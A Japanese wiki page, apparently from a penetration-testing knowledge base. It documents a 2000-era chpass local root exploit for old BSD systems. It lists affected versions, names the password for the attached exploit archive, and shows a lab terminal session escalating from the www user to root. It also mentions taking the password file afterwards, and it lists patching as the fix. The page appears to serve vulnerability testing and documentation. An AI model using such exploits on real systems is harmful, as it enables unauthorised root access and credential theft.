BSD chpass localroot exploit

更新履歴

  • 2006/06/14 初版

概要

  • BSD系OSの chpass コマンドの脆弱性を使用したExploit
  • ローカルユーザはローカルマシンの root 権限を得ることが可能。
  • 2000/10/04 公開

影響を受けるシステム

  • FreeBSD 3.x (すべてのリリース)
  • FreeBSD 4.0-RELEASE
  • OpenBSD OpenBSD 2.7
  • OpenBSD OpenBSD 2.6
  • OpenBSD OpenBSD 2.5
  • OpenBSD OpenBSD 2.4
  • OpenBSD OpenBSD 2.3
  • NetBSD NetBSD 1.4.2
  • NetBSD NetBSD 1.4.1
  • NetBSD NetBSD 1.4

添付ファイル

files password
bsdchpass-exp.zip pen-test

参考URL

Exploitの検証

検証環境

  • 攻撃先
    • FreeBSD 4.0 RELEASE
      • IPアドレス:192.168.0.100
    • アカウント情報
      • ユーザ名:www
      • パスワード:wwwadmin
  • 攻撃元
    • CentOS 4.3
      • IPアドレス:192.168.0.50

検証結果

  • 攻撃元から、攻撃先にtelnetでログイン後、以下のコマンドを実行する。
$ id
uid=80(www) gid=80(www) groups=80(www)
$ 
$ ./bsdchpass-exp
./bsdchpass-exp <TARGET>
1 - OpenBSD 2.7 i386
2 - OpenBSD 2.6 i386
3 - OpenBSD 2.5 1999/08/06
4 - OpenBSD 2.5 1998/05/28
5 - FreeBSD 4.0-RELEASE
6 - FreeBSD 3.5-RELEASE
7 - FreeBSD 3.4-RELEASE
8 - NetBSD 1.4.2
$ 
$ ./bsdchpass-exp 5

                                                             286331153: No such file or directory
chpass: /etc/master.passwd: unchanged
# 
# id
uid=80(www) euid=0(root) gid=80(www) groups=80(www)
# 

対処方法

  1. パッチの適用
  2. OSのバージョンアップ

デモンストレーション

  • telnetでログイン後、Exploitを使用してroot権限を取得する。その後、パスワードファイル(/etc/master.passwd)を入手する。

 
exploit/local/unix/bsdchpass.txt · 最終更新: 2007/10/16 12:02
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki NINJA TOOLS